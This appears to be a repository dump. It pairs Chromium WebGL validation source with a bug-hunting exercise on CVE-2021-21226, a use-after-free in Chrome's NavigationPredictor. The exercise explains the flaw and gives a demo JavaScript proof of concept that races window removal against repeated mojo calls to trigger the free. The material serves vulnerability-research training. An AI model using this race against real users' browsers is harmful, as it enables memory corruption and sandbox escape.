|| source_type == kSourceHTMLCanvasElement || source_type == kSourceHTMLVideoElement || source_type == kSourceImageData || source_type == kSourceImageBitmap) { if (!ValidateTexImageSourceFormatAndType(function_name, function_type, internalformat, format, type)) { return false; } } else { if (!ValidateTexFuncFormatAndType(function_name, function_type, internalformat, format, type, level)) { return false; } } if (!ValidateTexFuncDimensions(function_name, function_type, target, level, width, height, depth)) return false; if (border) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "border != 0"); return false; } return true; } bool WebGLRenderingContextBase::ValidateTexFuncData( const char* function_name, TexImageDimension tex_dimension, GLint level, GLsizei width, GLsizei height, GLsizei depth, GLenum format, GLenum type, DOMArrayBufferView* pixels, NullDisposition disposition, GLuint src_offset) { // All calling functions check isContextLost, so a duplicate check is not // needed here. if (!pixels) { DCHECK_NE(disposition, kNullNotReachable); if (disposition == kNullAllowed) return true; SynthesizeGLError(GL_INVALID_VALUE, function_name, "no pixels"); return false; } if (!ValidateSettableTexFormat(function_name, format)) return false; auto pixelType = pixels->GetType(); switch (type) { case GL_BYTE: if (pixelType != DOMArrayBufferView::kTypeInt8) { SynthesizeGLError(GL_INVALID_OPERATION, function_name, "type BYTE but ArrayBufferView not Int8Array"); return false; } break; case GL_UNSIGNED_BYTE: if (pixelType != DOMArrayBufferView::kTypeUint8 && pixelType != DOMArrayBufferView::kTypeUint8Clamped) { SynthesizeGLError( GL_INVALID_OPERATION, function_name, "type UNSIGNED_BYTE but ArrayBufferView not Uint8Array or " "Uint8ClampedArray"); return false; } break; case GL_SHORT: if (pixelType != DOMArrayBufferView::kTypeInt16) { SynthesizeGLError(GL_INVALID_OPERATION, function_name, "type SHORT but ArrayBufferView not Int16Array"); return false; } break; case GL_UNSIGNED_SHORT: case GL_UNSIGNED_SHORT_5_6_5: case GL_UNSIGNED_SHORT_4_4_4_4: case GL_UNSIGNED_SHORT_5_5_5_1: if (pixelType != DOMArrayBufferView::kTypeUint16) { SynthesizeGLError( GL_INVALID_OPERATION, function_name, "type UNSIGNED_SHORT but ArrayBufferView not Uint16Array"); return false; } break; case GL_INT: if (pixelType != DOMArrayBufferView::kTypeInt32) { SynthesizeGLError(GL_INVALID_OPERATION, function_name, "type INT but ArrayBufferView not Int32Array"); return false; } break; case GL_UNSIGNED_INT: case GL_UNSIGNED_INT_2_10_10_10_REV: case GL_UNSIGNED_INT_10F_11F_11F_REV: case GL_UNSIGNED_INT_5_9_9_9_REV: case GL_UNSIGNED_INT_24_8: if (pixelType != DOMArrayBufferView::kTypeUint32) { SynthesizeGLError( GL_INVALID_OPERATION, function_name, "type UNSIGNED_INT but ArrayBufferView not Uint32Array"); return false; } break; case GL_FLOAT: // OES_texture_float if (pixelType != DOMArrayBufferView::kTypeFloat32) { SynthesizeGLError(GL_INVALID_OPERATION, function_name, "type FLOAT but ArrayBufferView not Float32Array"); return false; } break; case GL_HALF_FLOAT: case GL_HALF_FLOAT_OES: // OES_texture_half_float // As per the specification, ArrayBufferView should be null or a // Uint16Array when OES_texture_half_float is enabled. if (pixelType != DOMArrayBufferView::kTypeUint16) { SynthesizeGLError(GL_INVALID_OPERATION, function_name, "type HALF_FLOAT_OES but ArrayBufferView is not NULL " "and not Uint16Array"); return false; } break; case GL_FLOAT_32_UNSIGNED_INT_24_8_REV: SynthesizeGLError(GL_INVALID_OPERATION, function_name, "type FLOAT_32_UNSIGNED_INT_24_8_REV but " "ArrayBufferView is not NULL"); return false; default: NOTREACHED(); } unsigned total_bytes_required, skip_bytes; GLenum error = WebGLImageConversion::ComputeImageSizeInBytes( format, type, width, height, depth, GetUnpackPixelStoreParams(tex_dimension), &total_bytes_required, nullptr, &skip_bytes); if (error != GL_NO_ERROR) { SynthesizeGLError(error, function_name, "invalid texture dimensions"); return false; } base::CheckedNumeric total = src_offset; total *= pixels->TypeSize(); total += total_bytes_required; total += skip_bytes; if (!total.IsValid() || pixels->byteLengthAsSizeT() < static_cast(total.ValueOrDie())) { SynthesizeGLError(GL_INVALID_OPERATION, function_name, "ArrayBufferView not big enough for request"); return false; } return true; } bool WebGLRenderingContextBase::ValidateCompressedTexFormat( const char* function_name, GLenum format) { if (!compressed_texture_formats_.Contains(format)) { SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid format"); return false; } return true; } bool WebGLRenderingContextBase::ValidateStencilOrDepthFunc( const char* function_name, GLenum func) { switch (func) { case GL_NEVER: case GL_LESS: case GL_LEQUAL: case GL_GREATER: case GL_GEQUAL: case GL_EQUAL: case GL_NOTEQUAL: case GL_ALWAYS: return true; default: SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid function"); return false; } } void WebGLRenderingContextBase::PrintGLErrorToConsole(const String& message) { if (!num_gl_errors_to_console_allowed_) return; --num_gl_errors_to_console_allowed_; PrintWarningToConsole(message); if (!num_gl_errors_to_console_allowed_) PrintWarningToConsole( "WebGL: too many errors, no more errors will be reported to the " "console for this context."); return; } void WebGLRenderingContextBase::PrintWarningToConsole(const String& message) { blink::ExecutionContext* context = Host()->GetTopExecutionContext(); if (context) { context->AddConsoleMessage(MakeGarbageCollected( mojom::ConsoleMessageSource::kRendering, mojom::ConsoleMessageLevel::kWarning, message)); } } bool WebGLRenderingContextBase::ValidateFramebufferFuncParameters( const char* function_name, GLenum target, GLenum attachment) { if (!ValidateFramebufferTarget(target)) { SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid target"); return false; } switch (attachment) { case GL_COLOR_ATTACHMENT0: case GL_DEPTH_ATTACHMENT: case GL_STENCIL_ATTACHMENT: case GL_DEPTH_STENCIL_ATTACHMENT: break; default: if ((ExtensionEnabled(kWebGLDrawBuffersName) || IsWebGL2OrHigher()) && attachment > GL_COLOR_ATTACHMENT0 && attachment < static_cast(GL_COLOR_ATTACHMENT0 + MaxColorAttachments())) break; SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid attachment"); return false; } return true; } bool WebGLRenderingContextBase::ValidateBlendEquation(const char* function_name, GLenum mode) { switch (mode) { case GL_FUNC_ADD: case GL_FUNC_SUBTRACT: case GL_FUNC_REVERSE_SUBTRACT: return true; case GL_MIN_EXT: case GL_MAX_EXT: if (ExtensionEnabled(kEXTBlendMinMaxName) || IsWebGL2OrHigher()) return true; SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid mode"); return false; default: SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid mode"); return false; } } bool WebGLRenderingContextBase::ValidateBlendFuncFactors( const char* function_name, GLenum src, GLenum dst) { if (((src == GL_CONSTANT_COLOR || src == GL_ONE_MINUS_CONSTANT_COLOR) && (dst == GL_CONSTANT_ALPHA || dst == GL_ONE_MINUS_CONSTANT_ALPHA)) || ((dst == GL_CONSTANT_COLOR || dst == GL_ONE_MINUS_CONSTANT_COLOR) && (src == GL_CONSTANT_ALPHA || src == GL_ONE_MINUS_CONSTANT_ALPHA))) { SynthesizeGLError(GL_INVALID_OPERATION, function_name, "incompatible src and dst"); return false; } return true; } bool WebGLRenderingContextBase::ValidateCapability(const char* function_name, GLenum cap) { switch (cap) { case GL_BLEND: case GL_CULL_FACE: case GL_DEPTH_TEST: case GL_DITHER: case GL_POLYGON_OFFSET_FILL: case GL_SAMPLE_ALPHA_TO_COVERAGE: case GL_SAMPLE_COVERAGE: case GL_SCISSOR_TEST: case GL_STENCIL_TEST: return true; default: SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid capability"); return false; } } bool WebGLRenderingContextBase::ValidateUniformParameters( const char* function_name, const WebGLUniformLocation* location, void* v, GLsizei size, GLsizei required_min_size, GLuint src_offset, GLuint src_length) { return ValidateUniformMatrixParameters(function_name, location, false, v, size, required_min_size, src_offset, src_length); } bool WebGLRenderingContextBase::ValidateUniformMatrixParameters( const char* function_name, const WebGLUniformLocation* location, GLboolean transpose, DOMFloat32Array* v, GLsizei required_min_size, GLuint src_offset, size_t src_length) { if (!v) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "no array"); return false; } if (!base::CheckedNumeric(src_length).IsValid()) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "src_length exceeds the maximum supported length"); return false; } return ValidateUniformMatrixParameters( function_name, location, transpose, v->DataMaybeShared(), v->lengthAsSizeT(), required_min_size, src_offset, static_cast(src_length)); } bool WebGLRenderingContextBase::ValidateUniformMatrixParameters( const char* function_name, const WebGLUniformLocation* location, GLboolean transpose, void* v, size_t size, GLsizei required_min_size, GLuint src_offset, GLuint src_length) { DCHECK(size >= 0 && required_min_size > 0); if (!location) return false; if (location->Program() != current_program_) { SynthesizeGLError(GL_INVALID_OPERATION, function_name, "location is not from current program"); return false; } if (!v) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "no array"); return false; } if (!base::CheckedNumeric(size).IsValid()) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "array exceeds the maximum supported size"); return false; } if (transpose && !IsWebGL2OrHigher()) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "transpose not FALSE"); return false; } if (src_offset >= static_cast(size)) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "invalid srcOffset"); return false; } GLsizei actual_size = static_cast(size) - src_offset; if (src_length > 0) { if (src_length > static_cast(actual_size)) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "invalid srcOffset + srcLength"); return false; } actual_size = src_length; } if (actual_size < required_min_size || (actual_size % required_min_size)) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "invalid size"); return false; } return true; } WebGLBuffer* WebGLRenderingContextBase::ValidateBufferDataTarget( const char* function_name, GLenum target) { WebGLBuffer* buffer = nullptr; switch (target) { case GL_ELEMENT_ARRAY_BUFFER: buffer = bound_vertex_array_object_->BoundElementArrayBuffer(); break; case GL_ARRAY_BUFFER: buffer = bound_array_buffer_.Get(); break; default: SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid target"); return nullptr; } if (!buffer) { SynthesizeGLError(GL_INVALID_OPERATION, function_name, "no buffer"); return nullptr; } return buffer; } bool WebGLRenderingContextBase::ValidateBufferDataUsage( const char* function_name, GLenum usage) { switch (usage) { case GL_STREAM_DRAW: case GL_STATIC_DRAW: case GL_DYNAMIC_DRAW: return true; default: SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid usage"); return false; } } void WebGLRenderingContextBase::RemoveBoundBuffer(WebGLBuffer* buffer) { if (bound_array_buffer_ == buffer) bound_array_buffer_ = nullptr; bound_vertex_array_object_->UnbindBuffer(buffer); } bool WebGLRenderingContextBase::ValidateHTMLImageElement( const SecurityOrigin* security_origin, const char* function_name, HTMLImageElement* image, ExceptionState& exception_state) { if (!image || !image->CachedImage()) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "no image"); return false; } const KURL& url = image->CachedImage()->GetResponse().CurrentRequestUrl(); if (url.IsNull() || url.IsEmpty() || !url.IsValid()) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "invalid image"); return false; } if (WouldTaintOrigin(image)) { exception_state.ThrowSecurityError( "The image element contains cross-origin data, and may not be loaded."); return false; } return true; } bool WebGLRenderingContextBase::ValidateCanvasRenderingContextHost( const SecurityOrigin* security_origin, const char* function_name, CanvasRenderingContextHost* context_host, ExceptionState& exception_state) { if (!context_host || !context_host->IsPaintable()) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "no canvas"); return false; } if (WouldTaintOrigin(context_host)) { exception_state.ThrowSecurityError("Tainted canvases may not be loaded."); return false; } return true; } bool WebGLRenderingContextBase::ValidateHTMLVideoElement( const SecurityOrigin* security_origin, const char* function_name, HTMLVideoElement* video, ExceptionState& exception_state) { if (!video || !video->videoWidth() || !video->videoHeight()) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "no video"); return false; } if (WouldTaintOrigin(video)) { exception_state.ThrowSecurityError( "The video element contains cross-origin data, and may not be loaded."); return false; } return true; } bool WebGLRenderingContextBase::ValidateImageBitmap( const char* function_name, ImageBitmap* bitmap, ExceptionState& exception_state) { if (bitmap->IsNeutered()) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "The source data has been detached."); return false; } if (!bitmap->OriginClean()) { exception_state.ThrowSecurityError( "The ImageBitmap contains cross-origin data, and may not be loaded."); return false; } return true; } bool WebGLRenderingContextBase::ValidateDrawArrays(const char* function_name) { if (isContextLost()) return false; if (!ValidateRenderingState(function_name)) { return false; } const char* reason = "framebuffer incomplete"; if (framebuffer_binding_ && framebuffer_binding_->CheckDepthStencilStatus( &reason) != GL_FRAMEBUFFER_COMPLETE) { SynthesizeGLError(GL_INVALID_FRAMEBUFFER_OPERATION, function_name, reason); return false; } return true; } bool WebGLRenderingContextBase::ValidateDrawElements(const char* function_name, GLenum type, int64_t offset) { if (isContextLost()) return false; if (type == GL_UNSIGNED_INT && !IsWebGL2OrHigher() && !ExtensionEnabled(kOESElementIndexUintName)) { SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid type"); return false; } if (!ValidateValueFitNonNegInt32(function_name, "offset", offset)) return false; if (!ValidateRenderingState(function_name)) { return false; } const char* reason = "framebuffer incomplete"; if (framebuffer_binding_ && framebuffer_binding_->CheckDepthStencilStatus( &reason) != GL_FRAMEBUFFER_COMPLETE) { SynthesizeGLError(GL_INVALID_FRAMEBUFFER_OPERATION, function_name, reason); return false; } return true; } void WebGLRenderingContextBase::OnBeforeDrawCall() { ClearIfComposited(); MarkContextChanged(kCanvasChanged); } void WebGLRenderingContextBase::DispatchContextLostEvent(TimerBase*) { WebGLContextEvent* event = WebGLContextEvent::Create(event_type_names::kWebglcontextlost, ""); Host()->HostDispatchEvent(event); restore_allowed_ = event->defaultPrevented(); if (restore_allowed_ && !is_hidden_) { if (auto_recovery_method_ == kAuto) restore_timer_.StartOneShot(base::TimeDelta(), FROM_HERE); } } void WebGLRenderingContextBase::MaybeRestoreContext(TimerBase*) { DCHECK(isContextLost()); // The rendering context is not restored unless the default behavior of the // webglcontextlost event was prevented earlier. // // Because of the way m_restoreTimer is set up for real vs. synthetic lost // context events, we don't have to worry about this test short-circuiting // the retry loop for real context lost events. if (!restore_allowed_) return; if (canvas()) { LocalFrame* frame = canvas()->GetDocument().GetFrame(); if (!frame) return; bool blocked; frame->GetLocalFrameHostRemote().Are3DAPIsBlocked(&blocked); if (blocked) return; Settings* settings = frame->GetSettings(); if (settings && ((context_type_ == Platform::kWebGL1ContextType && !settings->GetWebGL1Enabled()) || ((context_type_ == Platform::kWebGL2ContextType || context_type_ == Platform::kWebGL2ComputeContextType) && !settings->GetWebGL2Enabled()))) { return; } } // Drawing buffer should have aready been destroyed during context loss to // ensure its resources were freed. DCHECK(!GetDrawingBuffer()); auto* execution_context = Host()->GetTopExecutionContext(); Platform::ContextAttributes attributes = ToPlatformContextAttributes( CreationAttributes(), context_type_, SupportOwnOffscreenSurface(execution_context)); Platform::GraphicsInfo gl_info; std::unique_ptr context_provider; bool using_gpu_compositing; const auto& url = Host()->GetExecutionContextUrl(); if (IsMainThread()) { // Ask for gpu compositing mode when making the context. The context will be // lost if the mode changes. using_gpu_compositing = !Platform::Current()->IsGpuCompositingDisabled(); context_provider = Platform::Current()->CreateOffscreenGraphicsContext3DProvider( attributes, url, &gl_info); } else { context_provider = CreateContextProviderOnWorkerThread( attributes, &gl_info, &using_gpu_compositing, url); } scoped_refptr buffer; if (context_provider && context_provider->BindToCurrentThread()) { // Construct a new drawing buffer with the new GL context. buffer = CreateDrawingBuffer(std::move(context_provider), using_gpu_compositing); // If DrawingBuffer::create() fails to allocate a fbo, |drawingBuffer| is // set to null. } if (!buffer) { if (context_lost_mode_ == kRealLostContext) { restore_timer_.StartOneShot(kDurationBetweenRestoreAttempts, FROM_HERE); } else { // This likely shouldn't happen but is the best way to report it to the // WebGL app. SynthesizeGLError(GL_INVALID_OPERATION, "", "error restoring context"); } return; } drawing_buffer_ = std::move(buffer); GetDrawingBuffer()->Bind(GL_FRAMEBUFFER); lost_context_errors_.clear(); context_lost_mode_ = kNotLostContext; auto_recovery_method_ = kManual; restore_allowed_ = false; RemoveFromEvictedList(this); SetupFlags(); InitializeNewContext(); MarkContextChanged(kCanvasContextChanged); WebGLContextEvent* event = WebGLContextEvent::Create(event_type_names::kWebglcontextrestored, ""); Host()->HostDispatchEvent(event); } String WebGLRenderingContextBase::EnsureNotNull(const String& text) const { if (text.IsNull()) return WTF::g_empty_string; return text; } WebGLRenderingContextBase::LRUCanvasResourceProviderCache:: LRUCanvasResourceProviderCache(wtf_size_t capacity) : resource_providers_(capacity) {} CanvasResourceProvider* WebGLRenderingContextBase:: LRUCanvasResourceProviderCache::GetCanvasResourceProvider( const IntSize& size) { wtf_size_t i; for (i = 0; i < resource_providers_.size(); ++i) { CanvasResourceProvider* resource_provider = resource_providers_[i].get(); if (!resource_provider) break; if (resource_provider->Size() != size) continue; BubbleToFront(i); return resource_provider; } // TODO(fserb): why is this software? std::unique_ptr temp(CanvasResourceProvider::Create( size, CanvasResourceProvider::ResourceUsage::kSoftwareResourceUsage, nullptr, // context_provider_wrapper 0, // msaa_sample_count, kLow_SkFilterQuality, CanvasColorParams(), // TODO: should this use the canvas's colorspace? CanvasResourceProvider::kDefaultPresentationMode, nullptr)); // canvas_resource_dispatcher if (!temp) return nullptr; i = std::min(resource_providers_.size() - 1, i); resource_providers_[i] = std::move(temp); CanvasResourceProvider* resource_provider = resource_providers_[i].get(); BubbleToFront(i); return resource_provider; } void WebGLRenderingContextBase::LRUCanvasResourceProviderCache::BubbleToFront( wtf_size_t idx) { for (wtf_size_t i = idx; i > 0; --i) resource_providers_[i].swap(resource_providers_[i - 1]); } namespace { String GetErrorString(GLenum error) { switch (error) { case GL_INVALID_ENUM: return "INVALID_ENUM"; case GL_INVALID_VALUE: return "INVALID_VALUE"; case GL_INVALID_OPERATION: return "INVALID_OPERATION"; case GL_OUT_OF_MEMORY: return "OUT_OF_MEMORY"; case GL_INVALID_FRAMEBUFFER_OPERATION: return "INVALID_FRAMEBUFFER_OPERATION"; case GC3D_CONTEXT_LOST_WEBGL: return "CONTEXT_LOST_WEBGL"; default: return String::Format("WebGL ERROR(0x%04X)", error); } } } // namespace void WebGLRenderingContextBase::SynthesizeGLError( GLenum error, const char* function_name, const char* description, ConsoleDisplayPreference display) { String error_type = GetErrorString(error); if (synthesized_errors_to_console_ && display == kDisplayInConsole) { String message = String("WebGL: ") + error_type + ": " + String(function_name) + ": " + String(description); PrintGLErrorToConsole(message); } if (!isContextLost()) { if (!synthetic_errors_.Contains(error)) synthetic_errors_.push_back(error); } else { if (!lost_context_errors_.Contains(error)) lost_context_errors_.push_back(error); } probe::DidFireWebGLError(canvas(), error_type); } void WebGLRenderingContextBase::EmitGLWarning(const char* function_name, const char* description) { if (synthesized_errors_to_console_) { String message = String("WebGL: ") + String(function_name) + ": " + String(description); PrintGLErrorToConsole(message); } probe::DidFireWebGLWarning(canvas()); } void WebGLRenderingContextBase::ApplyStencilTest() { bool have_stencil_buffer = false; if (framebuffer_binding_) { have_stencil_buffer = framebuffer_binding_->HasStencilBuffer(); } else { WebGLContextAttributes* attributes = getContextAttributes(); have_stencil_buffer = attributes && attributes->stencil(); } EnableOrDisable(GL_STENCIL_TEST, stencil_enabled_ && have_stencil_buffer); } void WebGLRenderingContextBase::EnableOrDisable(GLenum capability, bool enable) { if (isContextLost()) return; if (enable) ContextGL()->Enable(capability); else ContextGL()->Disable(capability); } IntSize WebGLRenderingContextBase::ClampedCanvasSize() const { int width = Host()->Size().Width(); int height = Host()->Size().Height(); return IntSize(Clamp(width, 1, max_viewport_dims_[0]), Clamp(height, 1, max_viewport_dims_[1])); } GLint WebGLRenderingContextBase::MaxDrawBuffers() { if (isContextLost() || !(ExtensionEnabled(kWebGLDrawBuffersName) || IsWebGL2OrHigher())) return 0; if (!max_draw_buffers_) ContextGL()->GetIntegerv(GL_MAX_DRAW_BUFFERS_EXT, &max_draw_buffers_); if (!max_color_attachments_) ContextGL()->GetIntegerv(GL_MAX_COLOR_ATTACHMENTS_EXT, &max_color_attachments_); // WEBGL_draw_buffers requires MAX_COLOR_ATTACHMENTS >= MAX_DRAW_BUFFERS. return std::min(max_draw_buffers_, max_color_attachments_); } GLint WebGLRenderingContextBase::MaxColorAttachments() { if (isContextLost() || !(ExtensionEnabled(kWebGLDrawBuffersName) || IsWebGL2OrHigher())) return 0; if (!max_color_attachments_) ContextGL()->GetIntegerv(GL_MAX_COLOR_ATTACHMENTS_EXT, &max_color_attachments_); return max_color_attachments_; } void WebGLRenderingContextBase::SetBackDrawBuffer(GLenum buf) { back_draw_buffer_ = buf; } void WebGLRenderingContextBase::SetFramebuffer(GLenum target, WebGLFramebuffer* buffer) { if (buffer) buffer->SetHasEverBeenBound(); if (target == GL_FRAMEBUFFER || target == GL_DRAW_FRAMEBUFFER) { framebuffer_binding_ = buffer; ApplyStencilTest(); } if (!buffer) { // Instead of binding fb 0, bind the drawing buffer. GetDrawingBuffer()->Bind(target); } else { ContextGL()->BindFramebuffer(target, buffer->Object()); } } void WebGLRenderingContextBase::RestoreCurrentFramebuffer() { bindFramebuffer(GL_FRAMEBUFFER, framebuffer_binding_.Get()); } void WebGLRenderingContextBase::RestoreCurrentTexture2D() { bindTexture(GL_TEXTURE_2D, texture_units_[active_texture_unit_].texture2d_binding_.Get()); } void WebGLRenderingContextBase::FindNewMaxNonDefaultTextureUnit() { // Trace backwards from the current max to find the new max non-default // texture unit int start_index = one_plus_max_non_default_texture_unit_ - 1; for (int i = start_index; i >= 0; --i) { if (texture_units_[i].texture2d_binding_ || texture_units_[i].texture_cube_map_binding_) { one_plus_max_non_default_texture_unit_ = i + 1; return; } } one_plus_max_non_default_texture_unit_ = 0; } void WebGLRenderingContextBase::TextureUnitState::Trace( blink::Visitor* visitor) { visitor->Trace(texture2d_binding_); visitor->Trace(texture_cube_map_binding_); visitor->Trace(texture3d_binding_); visitor->Trace(texture2d_array_binding_); visitor->Trace(texture_video_image_binding_); } void WebGLRenderingContextBase::Trace(Visitor* visitor) { visitor->Trace(context_group_); visitor->Trace(bound_array_buffer_); visitor->Trace(default_vertex_array_object_); visitor->Trace(bound_vertex_array_object_); visitor->Trace(current_program_); visitor->Trace(framebuffer_binding_); visitor->Trace(renderbuffer_binding_); visitor->Trace(texture_units_); visitor->Trace(extensions_); CanvasRenderingContext::Trace(visitor); } int WebGLRenderingContextBase::ExternallyAllocatedBufferCountPerPixel() { if (isContextLost()) return 0; int buffer_count = 1; buffer_count *= 2; // WebGL's front and back color buffers. int samples = GetDrawingBuffer() ? GetDrawingBuffer()->SampleCount() : 0; WebGLContextAttributes* attribs = getContextAttributes(); if (attribs) { // Handle memory from WebGL multisample and depth/stencil buffers. // It is enabled only in case of explicit resolve assuming that there // is no memory overhead for MSAA on tile-based GPU arch. if (attribs->antialias() && samples > 0 && GetDrawingBuffer()->ExplicitResolveOfMultisampleData()) { if (attribs->depth() || attribs->stencil()) buffer_count += samples; // depth/stencil multisample buffer buffer_count += samples; // color multisample buffer } else if (attribs->depth() || attribs->stencil()) { buffer_count += 1; // regular depth/stencil buffer } } return buffer_count; } DrawingBuffer* WebGLRenderingContextBase::GetDrawingBuffer() const { return drawing_buffer_.get(); } void WebGLRenderingContextBase::ResetUnpackParameters() { if (unpack_alignment_ != 1) ContextGL()->PixelStorei(GL_UNPACK_ALIGNMENT, 1); } void WebGLRenderingContextBase::RestoreUnpackParameters() { if (unpack_alignment_ != 1) ContextGL()->PixelStorei(GL_UNPACK_ALIGNMENT, unpack_alignment_); } void WebGLRenderingContextBase::getHTMLOrOffscreenCanvas( HTMLCanvasElementOrOffscreenCanvas& result) const { if (canvas()) { result.SetHTMLCanvasElement(static_cast(Host())); } else { result.SetOffscreenCanvas(static_cast(Host())); } } void WebGLRenderingContextBase::addProgramCompletionQuery(WebGLProgram* program, GLuint query) { auto old_query = program_completion_queries_.Get(program); if (old_query != program_completion_queries_.end()) { ContextGL()->DeleteQueriesEXT(1, &old_query->second); } program_completion_queries_.Put(program, query); if (program_completion_queries_.size() > kMaxProgramCompletionQueries) { auto oldest = program_completion_queries_.rbegin(); ContextGL()->DeleteQueriesEXT(1, &oldest->second); program_completion_queries_.Erase(oldest); } } void WebGLRenderingContextBase::clearProgramCompletionQueries() { for (auto query : program_completion_queries_) { ContextGL()->DeleteQueriesEXT(1, &query.second); } program_completion_queries_.Clear(); } bool WebGLRenderingContextBase::checkProgramCompletionQueryAvailable( WebGLProgram* program, bool* completed) { GLuint id = 0; auto found = program_completion_queries_.Get(program); if (found != program_completion_queries_.end()) { id = found->second; GLuint available; ContextGL()->GetQueryObjectuivEXT(id, GL_QUERY_RESULT_AVAILABLE, &available); if (available) { GLuint result = 0u; ContextGL()->GetQueryObjectuivEXT(id, GL_QUERY_RESULT, &result); program->setLinkStatus(result); } *completed = (available == GL_TRUE); return true; } return false; } } // namespace blink ================================================ FILE: LEVEL_3/README.md ================================================ # LEVEL 3 In LEVEL 1 | 2, we do exercise for bug hunting, but we seem forget the Poc. We need Poc to prove that we find one truly bug, and help developer repair this bug. This time, we need construct Poc(important) and find the bug. ================================================ FILE: LEVEL_3/exercise_1/README.md ================================================ # Exercise 1 In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. LEVEL 2 we do the same as LEVEL 1 without the help of Details. But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves. ## CVE-2021-21226 I sugget you don't search any report about it to prevents get too much info like patch. ### Details In level 3, we do it without the help of Details ---------
For more info click me! But you'd better not do this https://bugs.chromium.org/p/chromium/issues/detail?id=1197904
-------- ### Set environment after you fetch chromium ```sh git reset --hard f65d388c65bafd029be64609eb5e29243376f8ed ``` ### Related code chrome/browser/navigation_predictor/navigation_predictor.cc ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
My answer ```c++ // It is possible for this class to still exist while its WebContents and // RenderFrameHost are being destroyed. This can be detected by checking // |web_contents()| which will be nullptr if the WebContents has been // destroyed. ``` By this comment, we can get if we need do some by `browser_context_` we need check whether web_contents_ alive to provent UAF. ```c++ // This class gathers metrics of anchor elements from both renderer process // and browser process. Then it uses these metrics to make predictions on what // are the most likely anchor elements that the user will click. class NavigationPredictor : public blink::mojom::AnchorElementMetricsHost, public content::WebContentsObserver, public prerender::NoStatePrefetchHandle::Observer { public: explicit NavigationPredictor(content::WebContents* web_contents); ~NavigationPredictor() override; // [ ... ] private: // Used to get keyed services. content::BrowserContext* const browser_context_; // raw ptr ``` > Previously, it was possible for the BrowserContext to be destroyed before ReportAnchorElementMetricsOnClick attempted to access it. > > The fix uses the fact that NavigationPredictor extends WebContentsObserver and checks that web_contents is still alive before dereferencing BrowserContext. WebContents will always outlive BrowserContext. **Poc** Because this cve is about mojo and can make sandbox escape, so we need some knowledge about how bind mojo interface. You can read [offical doc](https://chromium.googlesource.com/chromium/src/+/HEAD/mojo/public/js/README.md#interfaces) or other chrome ctf challenge wp(recommend) We just need call `ReportAnchorElementMetricsOnClick` after remove window by race. ```c++ void NavigationPredictor::ReportAnchorElementMetricsOnClick( blink::mojom::AnchorElementMetricsPtr metrics) { DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); DCHECK(base::FeatureList::IsEnabled(blink::features::kNavigationPredictor)); if (browser_context_->IsOffTheRecord()) [1] return; if (!IsValidMetricFromRenderer(*metrics)) { mojo::ReportBadMessage("Bad anchor element metrics: onClick."); return; } [ ... ] ``` [1] has no check whether the `browser_context_` has been freed, so we can remove the window then call `ReportAnchorElementMetricsOnClick` to trigger uaf. The following code is just a demo, you can get complete code [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1197904) ```js async function poc() { // call ReportAnchorElementMetricsOnClick for mulipy let win1 = await createWindow({url: "https://localhost:8080/child.html", incognito: true}); // remove the window setTimeout(function() { removeWindow(win1.id); }, 1200); } // in child.html async function posttask() { const MAX = 65536; for(var i = 0 ; i < MAX; i++){ // call ReportAnchorElementMetricsOnClick to trigger uaf anchor_ptr.reportAnchorElementMetricsOnClick(anchor_elements); } } setTimeout(function() { posttask(); }, 1000); ``` we trigger race by `setTimeout`
-------- ================================================ FILE: LEVEL_3/exercise_1/navigation_predictor.cc ================================================ // Copyright 2018 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/navigation_predictor/navigation_predictor.h" #include #include #include "base/check_op.h" #include "base/containers/contains.h" #include "base/metrics/field_trial_params.h" #include "base/metrics/histogram_functions.h" #include "base/metrics/histogram_macros.h" #include "base/optional.h" #include "base/rand_util.h" #include "base/system/sys_info.h" #include "chrome/browser/navigation_predictor/navigation_predictor_keyed_service.h" #include "chrome/browser/navigation_predictor/navigation_predictor_keyed_service_factory.h" #include "chrome/browser/prefetch/no_state_prefetch/no_state_prefetch_manager_factory.h" #include "chrome/browser/profiles/profile.h" #include "chrome/browser/search_engines/template_url_service_factory.h" #include "components/no_state_prefetch/browser/no_state_prefetch_manager.h" #include "components/search_engines/template_url_service.h" #include "content/public/browser/navigation_handle.h" #include "content/public/browser/site_instance.h" #include "content/public/browser/web_contents.h" #include "mojo/public/cpp/bindings/message.h" #include "mojo/public/cpp/bindings/self_owned_receiver.h" #include "services/metrics/public/cpp/metrics_utils.h" #include "services/metrics/public/cpp/ukm_builders.h" #include "services/metrics/public/cpp/ukm_recorder.h" #include "third_party/blink/public/common/features.h" #include "url/gurl.h" #include "url/url_canon.h" namespace { // A feature to allow multiple prerenders. The feature itself is always enabled, // but the params it exposes are variable. const base::Feature kNavigationPredictorMultiplePrerenders{ "NavigationPredictorMultiplePrerenders", base::FEATURE_ENABLED_BY_DEFAULT}; std::string GetURLWithoutRefParams(const GURL& gurl) { url::Replacements replacements; replacements.ClearRef(); return 